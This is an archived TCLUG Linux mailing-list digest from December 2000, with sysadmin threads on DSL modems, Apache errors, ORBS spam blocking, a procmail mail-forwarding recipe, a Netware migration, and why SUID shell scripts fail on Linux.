763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From blutgens at sistina.com Tue Dec 5 12:06:33 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:08 2005 Subject: [TCLUG] To ORBS or not to ORBS that is the question In-Reply-To: <3A2D2B7D.3DCF125B@ltiflex.com>; from andyzb@ltiflex.com on Tue, Dec 05, 2000 at 11:53:01AM -0600 References: <20001205110752.O31012@real-time.com> <3A2D2B7D.3DCF125B@ltiflex.com> Message-ID: <20001205120633.B5014@socrates.sistina.com> On Tue, Dec 05, 2000 at 11:53:01AM -0600, Andy Zbikowski wrote: >Excuse my foul mood today... > >Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com You're a sysadmin, you're entitled! :-) It's dealing with vendors that gets my blood boiling "Oh sure Mr. Lutgens we'd be happy to send out this hardware you ordered. It'll be there in two days" Yeah right. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001205/bbf2d8c3/attachment.pgp From ehillman at cccu.com Tue Dec 5 12:26:46 2000 From: ehillman at cccu.com (Eric Hillman) Date: Mon Jan 17 13:13:08 2005 Subject: [TCLUG] A little clarification... In-Reply-To: Message-ID: <004401c05ee8$ec9dc4c0$650aa8c0@cccu.com> > The shop I work in is in the process of retiring some old host names. We > are working towards shutting down an old mercury mail server and we would > like to, along with redirecting any mail coming into that server, notify > all senders that the host name/addres has changed. > > So, basically, we would like to forward all incoming mail to the correct > new address(we have these aliases already), and would also like to > generate an email to send back to the orginator of the message. > > This email, in the best of all worlds, would have some information on the > hostname change and would also look in our aliases and pull out the > correct email address(based on where it was sent to and the alias that > corresponds to it) so that the user can easily update their address book. > > I figure we would just tack a pointer to a script onto the alias and have > that script do all the work; that way the mail gets forwarded and another > copy goes to the mail processing script. My only problem is I am unsure > of what scripting language I should use (procmail?) and if reading the > alias file will be possible. Anyone know of a pre-built script which will > do this? I can't think of any pre-built script. I suppose you could use "vacation" on all affected accounts, but that wouldn't seperate the properly addressed accounts from the old ones. Piping to a script in /etc/mail/aliases (or wherever) is probably your easiest solution. Just pipe to a custom script in your language of choice (I'd use Perl and Mail::Sendmail) that would gobble up the incoming mail, parse the alias files and whatnot, and send the appropriate reply to the appropriate parties. I think you'd also have to have this script forward the original message to the right place when it was done, but it's been a while since I had to dink with something of this nature. You might run into problems with smrsh, too. (I don't know if smrsh will let you read /etc/mail/aliases, for example), and unless you want to disable that, your *second* best bet is to use a procmail line like: :0 c * ^To.*@oldhost.something.com /tmp/holdingpen And then a cron'd program like the above that would gobble that file up every few minutes, parse out the message senders, prune duplicates and send out notices. In this case, the script *doesn't* have to do the normal delivery (that's what the "c" in the first line is for) There may be an easier or more elegant answer, but I can't think of one at the moment. -- Eric Hillman UNIX Sysadmin/Webmaster City & County Credit Union ehillman@cccu.com From keho at cpinternet.com Tue Dec 5 13:39:12 2000 From: keho at cpinternet.com (John Keho) Date: Mon Jan 17 13:13:08 2005 Subject: [TCLUG] HELP References: <200012051721.eB5HLmn25325@sprite.real-time.com> Message-ID: <001a01c05ef3$0d11ad20$01f4f0d1@oemcomputer> HELP -- REMOVE MY EMAIL ADDRESS FROM YOU SYSTEM, THANK-YOU. ----- Original Message ----- From: To: Sent: Tuesday, December 05, 2000 11:21 AM Subject: tclug-list digest, Vol 1 #492 - 16 msgs > Send tclug-list mailing list submissions to > tclug-list@lists.real-time.com > > To subscribe or unsubscribe via the World Wide Web, visit > https://mailman.real-time.com/mailman/listinfo/tclug-list > or, via email, send a message with subject or body 'help' to > tclug-list-request@lists.real-time.com > > You can reach the person managing the list at > tclug-list-admin@lists.real-time.com > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of tclug-list digest..." > > > Today's Topics: > > 1. RE: Do I need my 675? (Austad, Jay) > 2. Re: Do I need my 675? (Bill Layer) > 3. RE: Do I need my 675? (Austad, Jay) > 4. Re: [OT] My OmniKey died!!!!!!!!!! (Nate Carlson) > 5. Re: Squid log analysis (Nate Carlson) > 6. Re: Do I need my 675? (Bill Layer) > 7. Re: [OT] My OmniKey died!!!!!!!!!! (Carl Wilhelm Soderstrom) > 8. apache (Brett Astleford) > 9. Re: [OT] My OmniKey died!!!!!!!!!! (Carl Wilhelm Soderstrom) > 10. Re: Do I need my 675? (Ben Lutgens) > 11. Re: [OT] My OmniKey died!!!!!!!!!! (Nate Carlson) > 12. Re: apache (Ben Lutgens) > 13. Re: apache (Cook, Justin S.) > 14. To ORBS or not to ORBS that is the question (Bob Tanner) > 15. RE: Do I need my 675? (Austad, Jay) > 16. A little clarification... (mjn) > > --__--__-- > > Message: 1 > From: "Austad, Jay" > To: "'tclug-list@lists.real-time.com'" > Subject: RE: [TCLUG] Do I need my 675? > Date: Tue, 5 Dec 2000 09:37:27 -0600 > Reply-To: tclug-list@lists.real-time.com > > The only way to dump the cisco 675 would be if someone made a kernel module > for the Intel 2100 interal aDSL/ATM card. Then you'd have to figure out a > way to fit it on the coyote disk, which wouldn't be hard if you didn't need > pppd on it (pppd weighs in at 147k). From what it looks like, this will > never happen. > > Jay > > > -----Original Message----- > > From: Ben Lutgens [mailto:blutgens@sistina.com] > > Sent: Tuesday, December 05, 2000 8:43 AM > > To: tclug-list@lists.real-time.com > > Subject: Re: [TCLUG] Do I need my 675? > > > > > > On Tue, Dec 05, 2000 at 12:54:53AM -0600, Bob Tanner wrote: > > >Quoting Timothy Wilson (wilson@visi.com): > > > > > >What decodes the DSL signaling? Is there some sort of DSL card in it? > > > > > Yeah, that's the problem. I did see a PCI CSU/DSU card for > > sale once (At LWE I > > think) Seems to me it ran linux on chip. Might as well stay > > with the cisco > > FWIW. > > -- > > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > > Sistina Software Inc. work: 612.379.3951 > > Code Monkey Support (A.K.A. System Administrator) > > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > > > > --__--__-- > > Message: 2 > From: "Bill Layer" > Organization: Viking Electronics, Inc. > Date: Tue, 5 Dec 2000 09:48:36 -0600 > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Do I need my 675? > Reply-To: tclug-list@lists.real-time.com > > On Tuesday 05 December 2000 09:37, you wrote: > > The only way to dump the cisco 675 would be if someone made a kernel module > > for the Intel 2100 interal aDSL/ATM card. > > I was given the impression that the Intel 2100 aDSL modem is an HSP design > aka Win Modem. Can anyone confirm or deny? > > If this is true, can anyone accurately ascertain how much that sucks? ;) > > > -- > Bill Layer > > > > > > --__--__-- > > Message: 3 > From: "Austad, Jay" > To: "'tclug-list@lists.real-time.com'" > Subject: RE: [TCLUG] Do I need my 675? > Date: Tue, 5 Dec 2000 10:02:45 -0600 > Reply-To: tclug-list@lists.real-time.com > > > I was given the impression that the Intel 2100 aDSL modem is > > an HSP design > > aka Win Modem. Can anyone confirm or deny? > > I seem to remember reading the same thing somewhere. I know Cisco makes one > of these PCI cards though also. I wonder if Cisco's is built the same. I > know USWorst switched to Intel from the Cisco card, I assume to cut costs. > If the Cisco card was alot more expensive, there may be a good chance that > it's not HSP. Of course, it's Cisco and subject to price inflation because > of the name. > > > > > -----Original Message----- > > From: Bill Layer [mailto:b.layer@vikingelectronics.com] > > Sent: Tuesday, December 05, 2000 9:49 AM > > To: tclug-list@lists.real-time.com > > Subject: Re: [TCLUG] Do I need my 675? > > > > > > On Tuesday 05 December 2000 09:37, you wrote: > > > The only way to dump the cisco 675 would be if someone made > > a kernel module > > > for the Intel 2100 interal aDSL/ATM card. > > > > I was given the impression that the Intel 2100 aDSL modem is > > an HSP design > > aka Win Modem. Can anyone confirm or deny? > > > > If this is true, can anyone accurately ascertain how much > > that sucks? ;) > > > > > > -- > > Bill Layer > > > > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > --__--__-- > > Message: 4 > Date: Tue, 5 Dec 2000 10:13:02 -0600 (CST) > From: Nate Carlson > To: > Subject: Re: [TCLUG] [OT] My OmniKey died!!!!!!!!!! > Reply-To: tclug-list@lists.real-time.com > > On Mon, 4 Dec 2000, Carl Wilhelm Soderstrom wrote: > > 4-speaker flat-panel array with subwoofer. he wins stereo wars. :) > > now if only he'd get some new music... ;> > > eh, you just can't take classics, my good man. > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > > --__--__-- > > Message: 5 > Date: Tue, 5 Dec 2000 10:14:17 -0600 (CST) > From: Nate Carlson > To: TCLUG List > Subject: Re: [TCLUG] Squid log analysis > Reply-To: tclug-list@lists.real-time.com > > On Mon, 4 Dec 2000, Andy Zbikowski wrote: > > I just finished setting up webalizer to analize squid's logfiles. To get it > > working I grabbed > > squid2common.pl ( http://www.unimelb.edu.au/pwebstats/squid2common.pl ) and > > set it up in cron to run before webalizer. I thought webalizer supported > > squids logfiles without extra help but couldn't find anything in the > > documentation. > > > > For now, this should ge me the information I want. I figured I'd give > > webalizer a try since I was allrady somewhat familiar with it and it is a > > package in Debian. But if anyone has any success/horror stories about other > > packages ( http://www.squid-cache.org/Scripts/ ) I'd love to hear them > > (along with any recomendations) > > > > Since we are using Squid to sorta filter internet sites it would be nice to > > get a more indepth analysis of sites visited, but for now, webalizer fits > > the bill. > > sqmgrlog is pretty cool. i haven't gotten it working quite right yet, but > it's nice.. > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > > --__--__-- > > Message: 6 > From: "Bill Layer" > Organization: Viking Electronics, Inc. > Date: Tue, 5 Dec 2000 10:14:19 -0600 > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Do I need my 675? > Reply-To: tclug-list@lists.real-time.com > > BTW, > > > I know USWorst switched to Intel from the Cisco card, > > I have a spare, new in the box Intel 2100 aDSL modem. Includes the line > filters, etc. Anyone wants it, make an offer. > > -- > Bill Layer > Sales Technician > > > --__--__-- > > Message: 7 > Date: Tue, 5 Dec 2000 10:19:16 -0600 > From: Carl Wilhelm Soderstrom > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] [OT] My OmniKey died!!!!!!!!!! > Reply-To: tclug-list@lists.real-time.com > > > > now if only he'd get some new music... ;> > > > > eh, you just can't take classics, my good man. > > I don't think the Bloodhound Gang constitutes 'classics'. > ...well, maybe to a young'un like youself... > > ;> > > Carl Soderstrom > -- > Network Engineer > Real-Time Enterprises > (952) 943-8700 > > --__--__-- > > Message: 8 > From: "Brett Astleford" > To: > Date: Tue, 5 Dec 2000 10:22:39 -0600 > Subject: [TCLUG] apache > Reply-To: tclug-list@lists.real-time.com > > This is a multi-part message in MIME format. > > ------=_NextPart_000_007F_01C05EA5.4B730DA0 > Content-Type: text/plain; > charset="iso-8859-1" > Content-Transfer-Encoding: quoted-printable > > Hi, > My apache sever will not let me post information. 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> > ------=_NextPart_000_007F_01C05EA5.4B730DA0-- > > > --__--__-- > > Message: 9 > Date: Tue, 5 Dec 2000 10:30:57 -0600 > From: Carl Wilhelm Soderstrom > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] [OT] My OmniKey died!!!!!!!!!! > Reply-To: tclug-list@lists.real-time.com > > > Actually, a company in Hamil MN (apparently 30 mins from mpls) bought the > > blueprints and makes something called the "Avant > > Stellar" (http://www.cvtinc.com/kybdfeatures.htm), which is > > supposedly the samething, but with Windoze keys. And for $170. For the > > CHEAP ones. > > > > Ok, this keyboard is HEAVY - it's made of steel. It is EXTREMELY > > resilient. The keys CLICK most satisfyingly. > > > > Also, most models are VERY programmable. You can interchange the locations > > of the Ctrl and CAPSlock, among others. Or Dvorak it. The key caps are all > > removable. > > > > Oh, you can get them with the F-Keys on the side, where they belong. > > only problem I see with them, is that they have those oversized > keys; which are a complete waste of space. at least they don't look like > they cropped the key. I've never had trouble hitting the > normal-sized key; but undersized keys drive me nuts. > (when you mistype as often as I do, backspace keys are very important). > > they look interesting, tho. > > Carl. > -- > Network Engineer > Real-Time Enterprises > (952) 943-8700 > > --__--__-- > > Message: 10 > Date: Tue, 5 Dec 2000 10:34:48 -0600 > From: Ben Lutgens > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Do I need my 675? > Reply-To: tclug-list@lists.real-time.com > > > --cWoXeonUoKmBZSoM > Content-Type: text/plain; charset=us-ascii > Content-Disposition: inline > Content-Transfer-Encoding: quoted-printable > > On Tue, Dec 05, 2000 at 09:48:36AM -0600, Bill Layer wrote: > > > >If this is true, can anyone accurately ascertain how much that sucks? ;) > > > Bill, is this even a question?=20 > --=20 > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint =3D A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > > --cWoXeonUoKmBZSoM > Content-Type: application/pgp-signature > Content-Disposition: inline > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.4 (FreeBSD) > Comment: For info see http://www.gnupg.org > > iD8DBQE6LRkoLxkxGgLdGQgRAkF2AJ0UtMrYGQyZtyT0ZYg5d15I4nXpZACgyKk3 > In9BjCBAnuwN3ed3uHj9FZM= > =UEXu > -----END PGP SIGNATURE----- > > --cWoXeonUoKmBZSoM-- > > --__--__-- > > Message: 11 > Date: Tue, 5 Dec 2000 10:37:22 -0600 (CST) > From: Nate Carlson > To: > Subject: Re: [TCLUG] [OT] My OmniKey died!!!!!!!!!! > Reply-To: tclug-list@lists.real-time.com > > On Tue, 5 Dec 2000, Carl Wilhelm Soderstrom wrote: > > > > now if only he'd get some new music... ;> > > > > > > eh, you just can't take classics, my good man. > > > > I don't think the Bloodhound Gang constitutes 'classics'. > > ...well, maybe to a young'un like youself... > > that's just random crap that made my playlist.. hehe > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > > --__--__-- > > Message: 12 > Date: Tue, 5 Dec 2000 10:41:46 -0600 > From: Ben Lutgens > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] apache > Reply-To: tclug-list@lists.real-time.com > > > --xXmbgvnjoT4axfJE > Content-Type: text/plain; charset=us-ascii > Content-Disposition: inline > Content-Transfer-Encoding: quoted-printable > > On Tue, Dec 05, 2000 at 10:22:39AM -0600, Brett Astleford wrote: > > Your problems are probably due to the fast that you use Outlook Express as > your mail client. > > Once again we have inconsiderate people posting to the list these multipart > alternative. God is it so hard to understand? > > > Now on to your question. First of all you should be aware that this is NOT > enough information for anyone to riddle out your problem. At a minimum you > need to following. > > Distro You're using. > What you try to accomplish (more detail needed) > Exact errors (i.e. log excerpts) > Version of software > > Secondly before you post to a list, please read the mailing list archives > (both for tclug and in this case apache), the documentation that came with > your software and on the website of the software in question. Being an > administrator who babysits a couple webserver I can tell you that I have ne= > ver > had a problem finding info on the apache website. And I guarantee your > question will be answered there. > > It looks like it's definitely an httpd.conf problem. > > --=20 > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint =3D A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > > --xXmbgvnjoT4axfJE > Content-Type: application/pgp-signature > Content-Disposition: inline > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.4 (FreeBSD) > Comment: For info see http://www.gnupg.org > > iD8DBQE6LRrKLxkxGgLdGQgRAnKyAJ0bcVcCP01aF7r+rLy6CMx9/5daKQCgjPH+ > enNV8G3s/ztM80pgYBj3Bn8= > =0YHu > -----END PGP SIGNATURE----- > > --xXmbgvnjoT4axfJE-- > > --__--__-- > > Message: 13 > Date: Tue, 05 Dec 2000 10:44:07 -0600 > From: "Cook, Justin S." > Subject: Re: [TCLUG] apache > To: tclug-list@lists.real-time.com > Reply-To: tclug-list@lists.real-time.com > > Are you posting to an HTML file? What are you posting to/from? > > Justin Cook > mailto:jcook@k-lug.com > > ----- Original Message ----- > From: Brett Astleford > To: > Sent: Tuesday, December 05, 2000 10:22 AM > Subject: [TCLUG] apache > > > Hi, > My apache sever will not let me post information. I get the 405 error(see > below). Is this a httpd.conf problem or permissions problem? Help would be > greatly appreciated. > > thanks, > > error# 405 method not allowed(post method) > ver: Apache/1.3.14 > > Brett Astleford > Platinum Design Group > bastleford@platinumdg.com > > > > --__--__-- > > Message: 14 > Date: Tue, 5 Dec 2000 11:07:52 -0600 > From: Bob Tanner > To: tclug-list@mn-linux.org > Subject: [TCLUG] To ORBS or not to ORBS that is the question > Reply-To: tclug-list@lists.real-time.com > > I have got several scathing email about spam mail on the mailing list. > > First, I'd like to say I am an legitimate child, so naming calling of my mother > is not very nice. :-P > > Second, yes, the email can be vulgar. > > Third, yes, we can block more of it. > > On point 3, I am putting it to the list. I can turn ORBS back on, but it seems > to block lots of legitimate email. In fact several people sent email to me > asking why ORBS bounced them. > > So, there it is. To ORBS or not to ORBS. > > Clay/Scott can you do a poll on the web site? > > List is open to discussion... > > -- > Bob Tanner | Phone : (612)943-8700 > http://www.mn-linux.org | Fax : (612)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > > --__--__-- > > Message: 15 > From: "Austad, Jay" > To: "'tclug-list@lists.real-time.com'" > Subject: RE: [TCLUG] Do I need my 675? > Date: Tue, 5 Dec 2000 11:06:22 -0600 > Reply-To: tclug-list@lists.real-time.com > > > I have a spare, new in the box Intel 2100 aDSL modem. > > Includes the line > > filters, etc. Anyone wants it, make an offer. > > I have two of em. Maybe we could build a beowulf cluster > out of them > > :) > > > -----Original Message----- > > From: Bill Layer [mailto:b.layer@vikingelectronics.com] > > Sent: Tuesday, December 05, 2000 10:14 AM > > To: tclug-list@lists.real-time.com > > Subject: Re: [TCLUG] Do I need my 675? > > > > > > BTW, > > > > > I know USWorst switched to Intel from the Cisco card, > > > > I have a spare, new in the box Intel 2100 aDSL modem. > > Includes the line > > filters, etc. Anyone wants it, make an offer. > > > > -- > > Bill Layer > > Sales Technician > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > --__--__-- > > Message: 16 > Date: Tue, 5 Dec 2000 11:10:28 -0600 (CST) > From: mjn > To: Twirling Pickles of Death > Subject: [TCLUG] A little clarification... > Reply-To: tclug-list@lists.real-time.com > > I posted something about this yesterday but i think was rather foggy on > details and had words like "novell" and "groupwise" in it so no one paid > attention. I have thought a bit more about it and here is the revised > situation... > > The shop I work in is in the process of retiring some old host names. We > are working towards shutting down an old mercury mail server and we would > like to, along with redirecting any mail coming into that server, notify > all senders that the host name/addres has changed. > > So, basically, we would like to forward all incoming mail to the correct > new address(we have these aliases already), and would also like to > generate an email to send back to the orginator of the message. > > This email, in the best of all worlds, would have some information on the > hostname change and would also look in our aliases and pull out the > correct email address(based on where it was sent to and the alias that > corresponds to it) so that the user can easily update their address book. > > Anyone have ideas? > > I figure we would just tack a pointer to a script onto the alias and have > that script do all the work; that way the mail gets forwarded and another > copy goes to the mail processing script. My only problem is I am unsure > of what scripting language I should use (procmail?) and if reading the > alias file will be possible. Anyone know of a pre-built script which will > do this? > > Thanks... > > ____________________________ > Mike Neuharth > ADCS Technology Specialist > http://www.umn.edu/adcs > > E-Mail : mjn@umn.edu > Page Mail : 6126486512@page.metrocall.com > http://nifty.dsl.visi.com/ > ____________________________ > > > > > --__--__-- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > End of tclug-list Digest > From jethro at freakzilla.com Tue Dec 5 13:42:05 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:08 2005 Subject: [TCLUG] HELP In-Reply-To: <001a01c05ef3$0d11ad20$01f4f0d1@oemcomputer> Message-ID: Hi, On Tue, 5 Dec 2000, John Keho wrote: > HELP -- REMOVE MY EMAIL ADDRESS FROM YOU SYSTEM, THANK-YOU. Oh for goodness sake! There are instructions on how to remove yourself IN EVERY SINGLE MESSAGE!!! And if that's too hard, go to the website (http://www.mn-linux.org/) and FIND THEM THERE. Can Bob or someone remove this guy already if he can't do it himself? -Yaron -- From destef at theo.egoode.com Tue Dec 5 13:49:52 2000 From: destef at theo.egoode.com (destef@theo.egoode.com) Date: Mon Jan 17 13:13:08 2005 Subject: [TCLUG] HELP In-Reply-To: Message-ID: rofl!!! You go girl!!! On Tue, 5 Dec 2000, Yaron wrote: > Hi, > > On Tue, 5 Dec 2000, John Keho wrote: > > > HELP -- REMOVE MY EMAIL ADDRESS FROM YOU SYSTEM, THANK-YOU. > > Oh for goodness sake! There are instructions on how to remove yourself IN > EVERY SINGLE MESSAGE!!! > > And if that's too hard, go to the website (http://www.mn-linux.org/) and > FIND THEM THERE. > > Can Bob or someone remove this guy already if he can't do it himself? > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From jethro at freakzilla.com Tue Dec 5 13:57:51 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:08 2005 Subject: [TCLUG] HELP In-Reply-To: Message-ID: Hi, On Tue, 5 Dec 2000 destef@theo.egoode.com wrote: > rofl!!! You go girl!!! ^^^^ Er... I'll take that as a compliment?... -Yaron -- From natecars at real-time.com Tue Dec 5 13:55:28 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:08 2005 Subject: [TCLUG] HELP In-Reply-To: Message-ID: On Tue, 5 Dec 2000, Yaron wrote: > Oh for goodness sake! There are instructions on how to remove yourself IN > EVERY SINGLE MESSAGE!!! > > And if that's too hard, go to the website (http://www.mn-linux.org/) and > FIND THEM THERE. > > Can Bob or someone remove this guy already if he can't do it himself? Nah, it's more fun to watch them whine. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jamie at floyd.getsetnet.net Tue Dec 5 14:03:23 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] Puzzling SUID problem Message-ID: I have spent the last several hours pouring through docs on suid and racking my mind. My script isn't working. Here is a long listing of my script: -rwsr-sr-- 1 root wheel 379 Dec 5 12:57 myprog The contents of my prog are: #!/bin/bash cat /root/file1; User Jamie is on the group wheel, but when jamie goes to execute myprog the system qweefs like this: cat: /root/file1: Permission denied I am using Red Hat 6.2. As I am understanding the documentation, since jamie is on wheel, when he executes this program, the program will run as root, and if the file is running as root, it would have the file access privelages as root. Am I wrong?? Evidently I am, but then it would seem to be incongruent with what all my books are telling me. I have also tried running myprog as root, and it works fine then. One last thing I should include is a pic of my root directory where file1 is: drwxr-x--- 15 root root 4096 Dec 5 02:32 root and here is a long listing of file1: -rwxr-xr-- 1 root root 5 Dec 5 01:05 file1 - Jme From ehillman at cccu.com Tue Dec 5 14:04:18 2000 From: ehillman at cccu.com (Eric Hillman) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] Exorcising Netware Message-ID: <004d01c05ef6$8cc37780$650aa8c0@cccu.com> So, after a long struggle with licensing issues, bad or broken management software and recurring technical problems in the face of which Novell is apparently helpless, the folks here at my workplace (whose opinions are, nevertheless, not necessarily represented by the following) are considering ditching Novell Netware altogether and moving to, believe it or not, a 100% Linux back office. (Well, 90%.. Unfortunately we'll still need some NT in there for the time being). I'm wondering if anybody's had any experience with similar migrations and would be interested in sharing their thoughts. Any input is welcome, but I'm particularly interested in answers to a few questions. -Any thoughts on Penguin Computing, VA Linux or other companies selling pre-built rack-mount servers? -We want to have a centralized user authentication system. I'm thinking pam_LDAP, but I don't know LDAP at all well, and I haven't seen any particularly sparkling examples of LDAP management tools. Any pointers? What about compatibility with stuff like Samba, or Cyrus IMAP? -We'll need a file server at each of our 3 locations. At present we have only 1 mail server, at our main branch. How easy would it be to get mail servers at each location? (They're on seperate Class C networks, but using the same domain name). Is this even vaguely a good idea? -Lastly, can Windows roaming profiles be handled somehow via Samba? A cursory glance at the problem seems to indicate that it can be done, but I'm curious if anybody's done it. No, we're not moving to Linux on the desktop... Yet. Like I said, any input is welcome (unless it's yet another "use Debian" post) I've got to get some kinda outline drawn up for my boss so we can take it to the board in about a week... -- Eric Hillman UNIX Sysadmin/Webmaster City & County Credit Union ehillman@cccu.com From ehillman at cccu.com Tue Dec 5 14:09:07 2000 From: ehillman at cccu.com (Eric Hillman) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] Puzzling SUID problem In-Reply-To: Message-ID: <004e01c05ef7$39600120$650aa8c0@cccu.com> > > > I have spent the last several hours pouring through docs on suid and > racking my mind. My script isn't working. Here is a long listing of my > script: > > -rwsr-sr-- 1 root wheel 379 Dec 5 12:57 myprog > > The contents of my prog are: should be -rwsr-xr-x... chmod 4755 myprog to fix. From jamie at floyd.getsetnet.net Tue Dec 5 14:14:17 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] addendum to SUID prob Message-ID: One point that I failed to accentuate in my first posting, I did set the suid on myprog. (In this manner:) chmod u+s myprog while I was root From esper at sherohman.org Tue Dec 5 14:14:36 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] Puzzling SUID problem In-Reply-To: <004e01c05ef7$39600120$650aa8c0@cccu.com>; from ehillman@cccu.com on Tue, Dec 05, 2000 at 02:09:07PM -0600 References: <004e01c05ef7$39600120$650aa8c0@cccu.com> Message-ID: <20001205141435.A21062@sherohman.org> On Tue, Dec 05, 2000 at 02:09:07PM -0600, Eric Hillman wrote: > > -rwsr-sr-- 1 root wheel 379 Dec 5 12:57 myprog > > > > The contents of my prog are: > > > should be -rwsr-xr-x... Kinda defeats the purpose of giving it to wheel if it's world-executable... ITYM -rwsr-x---. To the OP: Why are you making it sgid? It should only need suid. -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From Nick.T.Reinking at supervalu.com Tue Dec 5 14:13:36 2000 From: Nick.T.Reinking at supervalu.com (Nick.T.Reinking@supervalu.com) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] Puzzling SUID problem Message-ID: <0G54003952XN59@mail1.supervalu.com> Ah ha. A common misunderstanding. Every UNIX I know will not allow SUID scripts to run. If you want SUID, either create a C program that runs a script and make that SUID, or recompile your kernel to allow it (very not recommended.) Allowing SUID scripts is a huge security hole. Nick Reinking jamie@floyd.getsetnet.net, on 12/05/2000 02:03:23 PM To: tclug-list@mn-linux.org @ PMDF cc: Subject: [TCLUG] Puzzling SUID problem I have spent the last several hours pouring through docs on suid and racking my mind. My script isn't working. Here is a long listing of my script: -rwsr-sr-- 1 root wheel 379 Dec 5 12:57 myprog The contents of my prog are: #!/bin/bash cat /root/file1; User Jamie is on the group wheel, but when jamie goes to execute myprog the system qweefs like this: cat: /root/file1: Permission denied I am using Red Hat 6.2. As I am understanding the documentation, since jamie is on wheel, when he executes this program, the program will run as root, and if the file is running as root, it would have the file access privelages as root. Am I wrong?? Evidently I am, but then it would seem to be incongruent with what all my books are telling me. I have also tried running myprog as root, and it works fine then. One last thing I should include is a pic of my root directory where file1 is: drwxr-x--- 15 root root 4096 Dec 5 02:32 root and here is a long listing of file1: -rwxr-xr-- 1 root root 5 Dec 5 01:05 file1 - Jme _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From mbresnahan1 at mmm.com Tue Dec 5 14:17:38 2000 From: mbresnahan1 at mmm.com (Michael Bresnahan) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] Re: [TCLUG:23889] Puzzling SUID problem References: Message-ID: <3A2D4D62.464E439D@mmm.com> It's been a while, but if memory serves me right, SUID root shell scripts are not allowed on many UNIX's for security reasons. This fact may be configurable. Mike Bresnahan --- Jamie Ostrowski wrote: > I have spent the last several hours pouring through docs on suid and > racking my mind. My script isn't working. Here is a long listing of my > script: > > -rwsr-sr-- 1 root wheel 379 Dec 5 12:57 myprog > > The contents of my prog are: > > #!/bin/bash > > cat /root/file1; > > User Jamie is on the group wheel, but when jamie goes to execute myprog > the system qweefs like this: > > cat: /root/file1: Permission denied > > I am using Red Hat 6.2. As I am understanding the documentation, since > jamie is on wheel, when he executes this program, the program will run as > root, and if the file is running as root, it would have the file access > privelages as root. Am I wrong?? Evidently I am, but then it would seem to > be incongruent with what all my books are telling me. > I have also tried running myprog as root, and it works fine then. One last > thing I should include is a pic of my root directory where file1 is: > > drwxr-x--- 15 root root 4096 Dec 5 02:32 root > > and here is a long listing of file1: > > -rwxr-xr-- 1 root root 5 Dec 5 01:05 file1 > > - Jme > > --------------------------------------------------------------------- > To unsubscribe, e-mail: tclug-list-unsubscribe@mn-linux.org > For additional commands, e-mail: tclug-list-help@mn-linux.org From blutgens at sistina.com Tue Dec 5 14:25:18 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:09 2005 Subject: [TCLUG] 